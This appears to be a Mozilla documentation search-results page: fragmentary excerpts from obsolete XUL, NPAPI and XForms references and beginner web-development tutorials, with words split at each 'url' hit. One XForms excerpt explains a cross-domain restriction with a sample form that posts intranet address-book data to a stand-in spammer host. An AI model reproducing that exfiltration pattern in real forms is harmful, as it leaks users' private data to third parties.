...ntly. the following values are accepted, or leave out the attribute entirely for default handling: always the image is always checked to see whether it should be reloaded. never the image will be loaded from the cache if possible. properties accessibletype type: integer a value indicating the type of accessibility object for the element. src type:
url gets and sets the value of the src attribute. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, st...
prefpane - Archive of obsolete content
currently selected prefpane. to change the selected pane, use the prefwindow's showpane method. src type: uri the uri of the overlay contents of preference pane. if this is not specified, the contents of the prefpane element is used. properties contentheight (readonly) the height (in pixels) of current pane's content. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. loaded indicates whether the pane is fully loaded. preferenceelements type: dom nodelist holds a list of the ui elements in the pane that are attached to preferences. preferences type: dom nodelist ...
...e pane that are attached to preferences. preferences type: dom nodelist holds a list of the preference elements in the pane. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. src type:
url gets and sets the value of the src attribute. methods domelement getpreferenceelement(in domelement startelement) preferenceforelement( uielement ) return type: preference element returns the preference element to which a user interface element is attached. void userchangedvalue(in domelement element); the user changed the value in a widge...
prefwindow - Archive of obsolete content
ane) this probably isn't a public method (?) canceldialog() return type: no return value cancels the dialog and closes it, similar to pressing the cancel button. centerwindowonscreen() return type: no return value centers the dialog on the screen. getbutton( type ) return type: button element returns the button element in the dialog corresponding to the given type. opensubdialog(
url, features, params ) return type: window opens a child modal dialog. usually this method would be used to allow the user to configure advanced options. the arguments are similar to the window's opendialog method except that the window name does not need to be supplied. the
url should be a xul file. if the child dialog is also a prefwindow, set its type attribute to child so that preferences will...
...y this method would be used to allow the user to configure advanced options. the arguments are similar to the window's opendialog method except that the window name does not need to be supplied. the
url should be a xul file. if the child dialog is also a prefwindow, set its type attribute to child so that preferences will be saved properly when the main dialog is closed. openwindow( windowtype,
url, features, params ) return type: window open a child window. the windowtype is a string specifying a window type. if a window with that type is already open, this method will just switch that window to the front and focus it instead of opening another window. if a window of the type is not open, a new one is opened displaying the supplied
url. showpane( prefpane ) return type: no...
stringbundle - Archive of obsolete content
y key-value pairs each on a separate line. the key and value is separated with an equals sign. for example, the following defines two properties: message.displayerror=an error occured trying to display this message message.namealreadyused=the name %s is already being used by another account. more information is available in the xul tutorial. the "src" attribute accepts only absolute chrome://
urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, conta...
...ce-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties applocale obsolete since gecko 1.9.1 type: nsilocale returns the xpcom object which holds information about the user's locale. this is an object which implements nsilocale. src type:
url gets and sets the value of the src attribute. stringbundle type: nsistringbundle returns the xpcom string bundle object which implements nsistringbundle. strings type: nsisimpleenumerator an enumeration of all of the strings in the string bundle. the enumeration contains nsipropertyelement objects. methods getformattedstring( key, strarray ) return type: string looks up the ...
timepicker - Archive of obsolete content
eyboard instead of the mouse. to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers. attributes disabled, hideseconds, increment, readonly, tabindex, value properties amindicator, datevalue, disabled, hideseconds, hour, ho
urleadingzero, increment, is24hourclock, ispm, minute, minuteleadingzero, pmindicator, readonly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element i...
...red or selected in the datepicker as a date object. disabled type: boolean gets and sets the value of the disabled attribute. hideseconds type: boolean indicates whether the seconds field is visible or not. hour type: integer the currently selected hour from 0 to 23. set this property to change the selected hour. ho
urleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the hour when it is less than 10. increment type: integer gets and sets the value of the increment attribute. is24hourclock type: boolean a read only value indicating whether a 12-hour or 24-hour clock is used to display times. with a...
treecol - Archive of obsolete content
able in seamonkey on mac os x.. treechildren::-moz-tree-checkbox { /* unchecked checkbox treecells. this style must come before treechildren::-moz-tree-checkbox(checked) otherwise it won't take effect. */ list-style-image: none; } treechildren::-moz-tree-checkbox(checked){ /* css for checked cells. cbox-check.gif isn't available in firefox 1, 2, and 3 on mac os x, so you should specify a
url to an image in your extension or elsewhere. */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } for example: create a css file. copy and paste the code above and link the css file to your xul file. reload the page to see the checkbox. if you want, you can also style the tree using css. attributes crop type: one of the values below ...
...ending the data is sorted in ascending order. descending the data is sorted in descending order. natural the data is sorted in natural order, which means the order that it is stored in. src type: uri set this attribute to have the treecol element use an image for the header instead of a label. you cannot have both an image and a label displayed in the header. set this to the
url of an image to appear on the tree column header. if this attribute is left out, no image appears and the label is used instead. the class treecol-image must be used on the treecol element for the image to appear. you should still specify a label for use in the column picker if ignoreincolumnpicker is not true and hidecolumnpicker is not true on the tree. type type: one of the values belo...
Deploying XULRunner - Archive of obsolete content
entifier</key> <string>net.yourcompany.yourapplication</string> <key>cfbundleinfodictionaryversion</key> <string>6.0</string> <key>cfbundlename</key> <string>applicationname</string> <key>cfbundlepackagetype</key> <string>appl</string> <key>cfbundleshortversionstring</key> <string>1.0</string> <key>cfbundlesignature</key> <string>????</string> <!--only useful if your app handle
urls--> <key>cfbundle
urltypes</key> <array> <dict> <key>cfbundle
urliconfile</key> <string>app_icon.icns</string> <key>cfbundle
urlname</key> <string>yourapp entity</string> <key>cfbundle
urlschemes</key> <array> <string>chrome</string> </array> </dict> </array> <key>cfbundleversion</key> <string>1.0</string> </dict> </plist> here's a sample of the pkginfo file aapl??
... finally : you can use any paint or graphics utility to create your application's icon, which should be provided as a 512 by 512 pixel png file. to make it all work, change the permissions of your bundle by running chmod -r 755 yourapp.app. ...
nsIContentPolicy - Archive of obsolete content
.0 inherits from: nsicontentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe content that is being loaded into your browser by implementing nsicontentpolicy. this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed
urls. warning: do not block the caller in your implementations of shouldload() or shouldprocess() (for example, by launching a dialog to prompt the user for something).") note: in reality, much of this interface is defined in the nsicontentpolicybase interface, but for now is documented here until someone has time to split things up. method overview short shouldload(in unsigned long ...
...rocess request is not rejected. other 0 obsolete since gecko 1.8 script 1 obsolete since gecko 1.8 image 2 obsolete since gecko 1.8 stylesheet 3 obsolete since gecko 1.8 object 4 obsolete since gecko 1.8 subdocument 5 obsolete since gecko 1.8 control_tag 6 obsolete since gecko 1.8 raw_
url 7 obsolete since gecko 1.8 document 8 obsolete since gecko 1.8 methods shouldload() called to let your content policy implementation decide whether or not the resource at a given location should be loaded. this method is called before loading the resource specified by acontentlocation to determine whether or not to start loading the requested resource. shouldload() ...
Archived Mozilla and build documentation - Archive of obsolete content
ow? i hope this manual will help you. creating regular expressions for a microsummary generator a regular expression is a special kind of string (i.e. a sequence of characters) that matches patterns of characters in other strings. microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages'
urls. dehydra the development focus switched to dxr (where the "d" comes from "dehydra"), which is based on clang instead of gcc. try dxr instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/. developing new mozilla features tips for contributing new features to mozilla. devmo 1.0 launch roa...
...emonkey is built with tracevis, and run with tracevis enabled, then tracemonkey will output a log of all its activity transitions. the log can be postprocessed into a visualization that can be used to rapidly diagnose many tracing-related performance issues. treehydra try the gcc python plugin instead: https://fedorahosted.org/gcc-python-plugin/. uris and
urls handling network and locally retrievable resources is a central part of necko. resources are identified by uri "uniform resource identifier" (taken from rfc 2396): urischeme list of mozilla supported uri schemes using addresses of stack variables with nspr threads on win16 this is a cautionary note that may be old information fo...
2006-11-17 - Archive of obsolete content
no replies as of yet. firefox 2.0 - window.focus() user questions where the change in behaviour in window.focus() is a bug or was intented. ...
...no replies as of yet. firefox 2.0 - window.focus() user questions where the change in behaviour in window.focus() is a bug or was intented. ...
NPAPI plugin developer guide - Archive of obsolete content
or plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with
urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction ini...
...treams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream
urls getting
urls getting the
url and displaying the page posting
urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version ...
NPN_GetAuthenticationInfo - Archive of obsolete content
odes. ...
... plugin which implement their own http networking stack (such as the java plugin) may want to use the standard http auth prompts and password managed of the browser. this function allows the plugin to ask the browser for http authentication information for a domain. unless the plugin has special networking needs, it is recommended to use the standard network apis, such as npn_get
urlnotify/npn_post
urlnotify. see also npn_setvaluefor
url, npn_getvaluefor
url ...
NPN NewStream - Archive of obsolete content
pn_newstream(npp instance, npmimetype type, const char* target, npstream** stream); parameters the function has the following parameters: instance pointer to current plug-in instance. type mime type of the stream. target name of the target window or frame, or one of several special target names. for values, see npn_get
url. stream stream to be created by the browser. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_newstream creates a new stream of data produced by the plug-in and consumed by the browser. the mime parameter is the mime type of the plug-in to create...
...n can use this object in subsequent calls to npn_write to write data into the stream. when the plug-in has written all of its data into the stream, npn_destroystream terminates the stream and deallocates the npstream object. the target parameter is the name of the target window or frame, or one of several special target names. for parameter values and information about how to use them, see npn_get
url. if the new stream has the target of _self, this function should return an invalid_param np error. see also npp_newstream, npp_write, npp_destroystream, npstream, npp ...
NPP_NewStream - Archive of obsolete content
l the stream is destroyed. the plug-in can store plug-in-private data associated with the stream in stream->pdata. the mime type of the stream is provided by the type parameter. the data in the stream can be the file specified in the src attribute of the embed tag, for an embedded instance, or the file itself, for a full-page instance. a plug-in can also request a stream with the function npn_get
url. the browser calls npp_destroystream when the stream completes (either successfully or abnormally). the plug-in can terminate the stream itself by calling npn_destroystream. the parameter stype defines the mode of the stream. values: np_normal (default): delivers stream data to the instance in a series of calls to npp_writeready and npp_write. the plug-in can process the data progressively as...
...npn_requestread call is made. ...
The First Install Problem - Archive of obsolete content
bkey, depending on how many mimetypes an application wishes to handle (or advertise that it handles). the mimetypes subkeys contain the following string (reg_sz) value: "description" -- this is the actual description of the mimetype, very much as it appears in the dll (e.g. the same mimetype description that apears when you type "about:plugins" as a
url in mozilla's location bar. example: [hkey_local_machine\software\mozillaplugins\]\@mycompany.com/myapplication,version=5.01\mimetypes\application/x-myapp] description=myapplication plugin for app files "suffixes" -- this will be a semi-colon concatenated list of supported suffixes. this information is also stored under the suffixes su...
...ng of plugin directory information into the registry along with a plid, we can then use the object tag to invoke plugins based on their "classid" (their respective plid, which is a uri, which works well with the w3c spec). for example, in our case, a prospective invocation might look like: <object classid="@mycompany.com/myapplication,version=5.01" data="myfile.typ" codebase="http://my
url.com/myplugin/myplugin.xpi" type="application/x-myapp"></object> the use of both "type" and "classid" attributes here offers the following user benefit: if there is another mimetype handler for application/x-myapp, only myapplication gets invoked. the resolution of a mimetype handler is no longer arbitrary. if the "data" file myfile.typ doesn't contain enough resource information t...
title - Archive of obsolete content
why can't i get any tang?</description> </item> </channel> </rss> attributes none sub-elements ...
... why can't i get any tang?</description> </item> </channel> </rss> attributes none sub-elements none parent elements the table below shows a lis...
Using workers in extensions - Archive of obsolete content
equest, and, when the results are received, sends an event back to the main thread with the received data. so we need to move the refreshinformation() method from the stockwatcher2.js file into a separate file that will host the worker thread. ...
...it starts by setting up an interval handler (in...
Browser Feature Detection - Archive of obsolete content
document.createtextnode() true true true document.createcomment() true true true document.createattribute() true true true document.getelementsbytagname() true true true document.title true true true document.referrer true true true document.domain true true true document.
url true true true document.body true true true document.images true true true document.applets true true true document.links true true true document.forms true true true document.anchors true true true document.cookie true true true document.open() true ...
...ted': false}, {name: 'createdocumentfragment', 'supported': false}, {name: 'createtextnode', 'supported': false}, {name: 'createcomment', 'supported': false}, {name: 'createattribute', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'title', 'supported': false}, {name: 'referrer', 'supported': false}, {name: 'domain', 'supported': false}, {name: '
url', 'supported': false}, {name: 'body', 'supported': false}, {name: 'images', 'supported': false}, {name: 'applets', 'supported': false}, {name: 'links', 'supported': false}, {name: 'forms', 'supported': false}, {name: 'anchors', 'supported': false}, {name: 'cookie', 'supported': false}, {name: 'open', 'supported': false}, {name: 'close', 'supported': false}, {name: 'write', 'su...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
n extension of javascript which provides direct support for xml, greatly simplifying the process of consuming xml via javascript. rhino’s support of this important standard eliminates the pain of using dom or sax based parsers in java. listing 3 below details a script used to process an rss feed from the mozilla website. ...
...ews.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces default xml namespace = "http://p
url.org/rss/1.0/"; var dc = new namespace( "http://p
url.org/dc/elements/1.1/" ); var rdf = new namespace( "http://www.w3.org/1999/02/22-rdf-syntax-ns#" ); // use e4x to process the feed var x = new xml( str ); for each( var i in x..item ) { print( "title: " + i.title + "\n" ); print( "about: " + i.@rdf::about + "\n" ); print( "link: " + i.link + "\n" ); print( "date: " + i.dc::date + "\n" ); } ...
Implementation Status - Archive of obsolete content
ported 11.8.1 name unsupported 11.8.2 value unsupported 11.9 submission options supported 11.9.1 the get submission method supported 11.9.2 the post, multipart-post, form-data-post, and
urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as multipart/related...
...xforms and styling section title status notes bugs g.1 pseudo...
Mozilla XForms Specials - Archive of obsolete content
you have to use :-moz-read-only and :-moz-read-write for now. (limitation tracked in bug 313111)pseudo element support there is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf
url("http://www.w3.org/2002/xforms"); xf|input .xf-value { ... } the pseudo elements are defined in the css3 basic user interface specification . (limitation tracked in bug 271724) optional parameters in xpath functions optional parameters in xpath functions are not supported, you will have to specify all parameters when calling a function. this affects functions like hmac() or digest(). instead o...
... domain submission not exactly either a limitation, or an extension, but it is worth mentioning here. for security reasons, it is not per default possible for an xforms to submit data to another domain. this is due to security reasons. information about how to whitelist domain can be found in the release notes the cross domain check also includes forms loaded from file://. forms loaded from that
url should be local files, and thus trusted, but it is not always the case. so there is not automatic "whitelisting" of local files. if you are wondering why we have this restriction, here is a simple example of why: <xforms:model> <xforms:instance src="http://intranetserver/addrbook.xml"/> <xforms:submission id="sub" action="http://megaspammer.com/gather" method="post"/> <...
XForms Alert Element - Archive of obsolete content
data value is invalid or out of the specified range of selectable values (see the spec). the message of the alert element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding attributes, linking attributes, inline text. attributes single-node binding linking src -
url of a document whose contents will be retrieved by the alert element and used to provide the alert message for the containing form control. type restrictions the alert element can be bound to any simple content. representations can be represented in two ways: modeless window that contains the alert element's message (default representation). the alert element's message can also be displa...
...message can also be displayed immediately after the containing form control element in the xforms document's layout. this representation is used if the alert element has an inline display style. ...
HTML: A good basis for accessibility - Learn web development
ge's design, but its primary purpose is for visual decoration. you'll notice in the code example above that the image's alt attribute is empty — this is to make screen readers recognize the image, but not attempt to describe the image (instead they'd just say "image", or similar). the reason to use an empty alt instead of not including it is because many screen readers announce the whole image
url if no alt is provided. in the above example, the image is acting as a visual decoration to the heading it's associated with. in cases like this, and in cases where an image is only decoration and has no content value, you should include an empty alt in your img elements. another alternative is to use the aria role attribute role="presentation" as this also stops screen readers from reading out al...
... cause unexpected behavior when copying or dragging links, opening links in a new tab or window, bookmarking, and when javascript is still downloading, errors out, or is disabled. this also conveys incorrect semantics to assistive technologies (e.g., screen readers). in these cases, it is recommended to use a <button> instead. in general you should only use an anchor for navigation using a proper
url. external links and linking to non-html resources links that open in a new tab or window via the target="_blank" declaration and links to whose href value points to a file resource should include an indicator about the behavior that will occur when the link is activated. people experiencing low vision conditions, who are navigating with the aid of screen reading technology, or who have cogniti...
HTML: A good basis for accessibility - Learn web development
ge's design, but its primary purpose is for visual decoration. you'll notice in the code example above that the image's alt attribute is empty — this is to make screen readers recognize the image, but not attempt to describe the image (instead they'd just say "image", or similar). the reason to use an empty alt instead of not including it is because many screen readers announce the whole image
url if no alt is provided. in the above example, the image is acting as a visual decoration to the heading it's associated with. in cases like this, and in cases where an image is only decoration and has no content value, you should include an empty alt in your img elements. another alternative is to use the aria role attribute role="presentation" as this also stops screen readers from reading out al...
... cause unexpected behavior when copying or dragging links, opening links in a new tab or window, bookmarking, and when javascript is still downloading, errors out, or is disabled. this also conveys incorrect semantics to assistive technologies (e.g., screen readers). in these cases, it is recommended to use a <button> instead. in general you should only use an anchor for navigation using a proper
url. external links and linking to non-html resources links that open in a new tab or window via the target="_blank" declaration and links to whose href value points to a file resource should include an indicator about the behavior that will occur when the link is activated. people experiencing low vision conditions, who are navigating with the aid of screen reading technology, or who have cogniti...
Mobile accessibility - Learn web development
for details on all the options available under the global and local context menus, see use global and local context menus. browsing web pages you can use the local context menu while in a web browser to find options to navigate web pages using just the headings, form controls, or links, or navigate line by line, etc. for example, with talkback turned on: open your web browser. activate the
url bar. enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. to enter the text of the
url: select the
url bar by swiping left/right till you get to it, and then double-tapping. hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to type it. repeat for each character. once you've finished, f...
...the value of (such as volume or speaking rate), you can do a swipe up or down to increase or decrease the value of the selected item. the options available under the rotor are context-sensitive — they will differ depending on what app or view you are in (see below for an example). browsing web pages let's have a go at web browsing with voiceover: open your web browser. activate the
url bar. enter a web page that has a bunch of headings on it, such as the front page of bbc.co.uk. to enter the text of the
url: select the
url bar by swiping left/right until you get to it, and then double-tapping. for each character, hold your finger down on the virtual keyboard until you get the character you want, and then release your finger to select it. double-tap to type it. once...
Advanced styling effects - Learn web development
this better. first, background-blend-mode — here we'll show a couple of simple <div>s, so you can compare the original with the blended version: <div> </div> <div class="multiply"> </div> now some css — we are adding to the <div> one background image and a green background color: div { width: 250px; height: 130px; padding: 10px; margin: 10px; display: inline-block; background:
url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } .multiply { background-blend-mode: multiply; } the result we get is this — you can see the original on the left, and the multiply blend mode on the right: mix-blend-mode now let's look at mix-blend-mode. here we'll present the same two <div>s, but each one is now sat on top o...
...rticle> multiply mix <div class="multiply-mix"> </div> <div> </div> </article> here's the css we'll style this with: article { width: 280px; height: 180px; margin: 10px; position: relative; display: inline-block; } div { width: 250px; height: 130px; padding: 10px; margin: 10px; } article div:first-child { position: absolute; top: 10px; left: 0; background:
url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } article div:last-child { background-color: purple; position: absolute; bottom: -10px; right: 0; z-index: -1; } .multiply-mix { mix-blend-mode: multiply; } this gives us the following results: you can see here that the multiply mix blend has blended together not only t...
Styling tables - Learn web development
s and colors now onto graphics and colors! because the table is full of punk and attitude, we need to give it some bright imposing styling to suit. don't worry, you don't have to make your tables this loud — you can opt for something more subtle and tasteful. start by adding the following css to your style.css file, again at the bottom: /* graphics and colors */ thead, tfoot { background:
url(leopardskin.jpg); color: white; text-shadow: 1px 1px 1px black; } thead th, tfoot th, tfoot td { background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); border: 3px solid purple; } again, there's nothing specific to tables here, but it is worthwhile to note a few things. we've added a background-image to the <thead> and <tfoot>, and changed the color of all the text ...
...a separate section to showing you how to implement zebra stripes — alternating rows of color that make the different data rows in your table easier to parse and read. add the following css to the bottom of your style.css file: /* zebra striping */ tbody tr:nth-child(odd) { background-color: #ff33cc; } tbody tr:nth-child(even) { background-color: #e495e4; } tbody tr { background-image:
url(noise.png); } table { background-color: #ff33cc; } earlier on you saw the :nth-child selector being used to select specific child elements. it can also be given a formula as a parameter, so it will select a sequence of elements. the formula 2n-1 would select all the odd numbered children (1, 3, 5, etc.) and the formula 2n would select all the even numbered children (2, 4, 6, etc.) we've use...
CSS values and units - Learn web development
st projects you will decide on a color palette and then use those colors — and your chosen method of specifying color — throughout the whole project. you can mix and match color models, however for consistency it is usually best if your entire project uses the same one! images the <image> data type is used wherever an image is a valid value. this can be an actual image file pointed to via a
url() function, or a gradient. in the example below we have demonstrated an image and a gradient in use as a value for the css background-image property. note: there are some other possible values for <image>, however these are newer and currently have poor browser support. check out the page on mdn for the <image> data type if you want to read about them. position the <position> data type r...
...e that can be run multiple times to complete a repetitive task with minimum effort on the part of both the developer and the computer. functions are usually associated with languages like javascript, python, or c++, but they do exist in css too, as property values. we've already seen functions in action in the colors section — rgb(), hsl(), etc. the value used to return an image from a file —
url() — is also a function. a value that behaves more like something you might find in a traditional programming language is the calc() css function. this function gives you the ability to do simple calculations inside your css. it's particularly useful if you want to work out values that you can't define when writing the css for your project, and need the browser to work out for you at runtime. ...
Using CSS generated content - Learn web development
cification. individual characters can also be specified by an escape mechanism that uses backslash as the escape character. for example, "\265b" is the chess symbol for a black queen ♛. for details, see referring to characters not represented in a character encoding and characters and case in the css specification. ...
...ding and characters and case in the css specification. image content to add an image before or after an element, you can specify the
url of an image file in the value of the content property. ...
What is a Domain Name? - Learn web development
objective: learn what domain names are, how they work, and why they are important. summary domain names are a key part of the internet infrastructure. they provide a human-readable address for any web server available on the internet. any internet-connected computer can be reached through a public ip address, either an ipv4 address (e.g. 173.194.121.32) or an ipv6 address (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). ...
...ely, if you use a system with a built-in shell, type a whois command into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc. ...
What is a web server? - Learn web development
omponent files. (for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web. on the software side, a web server includes several parts that control how web users access hosted files. at a minimum, this is an http server. an http server is software that understands
urls (web addresses) and http (the protocol your browser uses to view webpages). an http server can be accessed through the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's device. at the most basic level, whenever a browser needs a file that is hosted on a web server, the browser requests the file via http. when the request reaches the ...
...l cover that sort of technology in other articles.) http provides clear rules for how a client and server communicate. we'll cover http itself in a technical article later. for now, just be aware of these things: only clients can make http requests, and then only to servers. servers can only respond to a client's http request. when requesting a file via http, clients must provide the file's
url. the web server must answer every http request, at least with an error message. on a web server, the http server is responsible for processing and answering incoming requests. upon receiving a request, an http server first checks if the requested
url matches an existing file. if so, the web server sends the file content back to the browser. if not, an application server builds the necessar...
The HTML5 input types - Learn web development
g firefox for android keyboard screenshot provides an example: due to the wide variety of phone number formats around the world, this type of field does not enforce any constraints on the value entered by a user (this means it may include letters, etc.). as we mentioned earlier, the pattern attribute can be used to enforce constraints, which you'll learn about in client-side form validation.
url field a special type of field for entering
urls can be created using the value
url for the type attribute: <input type="
url" id="
url" name="
url"> it adds special validation constraints to the field. the browser will report an error if no protocol (such as http:) is entered, or if the
url is otherwise malformed. on devices with dynamic keyboards, the default keyboard will often display some or ...
...l"> it adds special validation constraints to the field. the browser will report an error if no protocol (such as http:) is entered, or if the
url is otherwise malformed. on devices with dynamic keyboards, the default keyboard will often display some or all of the colon, period, and forward slash as default keys. see below for an example (taken on firefox for android): note: just because the
url is well-formed doesn't necessarily mean that it refers to a location that actually exists! numeric field controls for entering numbers can be created with an <input> type of number. this control looks like a text field but allows only floating-point numbers, and usually provides buttons in the form of a spinner to increase and decrease the value of the control. on devices with dynamic keyboards...
Your first form - Learn web development
"> </form> this element formally defines a form. it's a container element like a <section> or <footer> element, but specifically for containing forms; it also supports some specific attributes to configure the way the form behaves. all of its attributes are optional, but it's standard practice to always set at least the action and method attributes: the action attribute defines the location (
url) where the form's collected data should be sent when it is submitted. the method attribute defines which http method to send the data with (usually get or post). note: we'll look at how those attributes work in our sending form data article later on. for now, add the above <form> element into your html <body>. the <label>, <input>, and <textarea> elements our contact form is not complex: ...
..." id="name" name="user_name" /> </li> <li> <label for="mail">e-mail:</label> <input type="email" id="mail" name="user_email" /> </li> <li> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </li> ... in our example, the form will send 3 pieces of data named "user_name", "user_email", and "user_message". that data will be sent to the
url "/my-handling-form-page" using the http post method. on the server side, the script at the
url "/my-handling-form-page" will receive the data as a list of 3 key/value items contained in the http request. the way this script will handle that data is up to you. each server-side language (php, python, ruby, java, c#, etc.) has its own mechanism of handling form data. it's beyond the scope of this g...
What’s in the head? Metadata in HTML - Learn web development
here the <h1> content appears, and where the <title> content appears! you should also try opening the code up in your code editor, editing the contents of these elements, then refreshing the page in your browser. have some fun with it. the <title> element contents are also used in other ways. for example, if you try bookmarking the page (bookmarks > bookmark this page or the star icon in the
url bar in firefox), you will see the <title> contents filled in as the suggested bookmark name. the <title> contents are also used in search results, as you'll see below. metadata: the <meta> element metadata is data that describes data, and html has an "official" way of adding metadata to a document — the <meta> element. of course, the other stuff we are talking about in this article could a...
...ps. it also documents mozilla products, like firefox os."> <meta property="og:title" content="mozilla developer network"> one effect of this is that when you link to mdn web docs on facebook, the link appears along with an image and description: a richer experience for users. twitter also has its own similar proprietary metadata called twitter cards, which has a similar effect when the site's
url is displayed on twitter.com. for example: <meta name="twitter:title" content="mozilla developer network"> adding custom icons to your site to further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts. the most commonly used of these is the favicon (short for "favorites icon", referring to its use in the "favorites"...
Index - Learn web development
y. we have over 25 years' experience and we'll give you some common rules of thumb to help you design your site. 28 what is a domain name? beginner, domain names, infrastructure, intro, needsactivelearning, web domain names are a key part of the internet infrastructure. they provide a human-readable address for any web server available on the internet. 29 what is a
url? beginner, infrastructure, needsactivelearning,
url, resources,
urls with hypertext and http,
url is one of the key concepts of the web. it is the mechanism used by browsers to retrieve any published resource on the web. 30 what is a web server? beginner, infrastructure, needsschema the term web server can refer to hardware or software, or both of them working toget...
...ore html elements, you can take a look at our html element reference (the inline text semantics section would be a great place to start.) in the next article we will look at the html elements you'd use to structure the different parts of an html document. 232 creating hyperlinks beginner, codingscripting, guide, html, http, learn, links, title, absolute, href, hyperlinks, relative,
urls that's it for links, for now anyway! you'll return to links later on in the course when you start to look at styling them. next up for html, we'll return to text semantics and look at some more advanced/unusual features that you'll find useful — advanced text formatting is your next stop. 233 debugging html beginner, codingscripting, debugging, error, guide, html, validati...
Introduction to web APIs - Learn web development
stances of the xmlhttprequest object (each one represents an http request to the server to retrieve a new resource of some kind) has a number of events available on them, for example, the load event is fired when a response has been successfully returned containing the requested resource, and it is now available. ...
...vents available on them, for example, the load event is fired when a response has been successfully returned containing the requested resource, and it is now available. the following code provides a simple example of how this would be used: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', request
url); request.responsetype = 'json'; request.send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also). the first five lines specify the location of the resource we want to fetch, create a new instance of a request object using the xmlh...
A first splash into JavaScript - Learn web development
functions are reusable blocks of code that you can write once and run again and again, saving the need to keep repeating code all the time. this is really useful. there are a number of ways to define functions, but for now we'll concentrate on one simple type. here we have defined a function by using the keyword function, followed by a name, with parentheses put after it. after that we put two c
urly braces ({ }). inside the c
urly braces goes all the code that we want to run whenever we call the function. when we want to run the code, we type the name of the function followed by the parentheses. let's try that now. save your code and refresh the page in your browser. then go into the developer tools javascript console, and enter the following line: checkguess(); after pressing return/ent...
...tructor, just to make sure the value is definitely a number. next, we encounter our first conditional code block (lines 3–5 above). a conditional code block allows you to run code selectively, depending on whether a certain condition is true or not. it looks a bit like a function, but it isn't. the simplest form of conditional block starts with the keyword if, then some parentheses, then some c
urly braces. inside the parentheses we include a test. if the test returns true, we run the code inside the c
urly braces. if not, we don't, and move on to the next bit of code. in this case the test is testing whether the guesscount variable is equal to 1 (i.e. whether this is the player's first go or not): guesscount === 1 if it is, we make the guesses paragraph's text content equal to "previous...
JavaScript object basics - Learn web development
lue types in their people data, by typing the member name and value into two text inputs. we could get those values like this: let mydataname = nameinput.value; let mydatavalue = namevalue.value; we could then add this new member name and value to the person object like this: person[mydataname] = mydatavalue; to test this, try adding the following lines into your code, just below the closing c
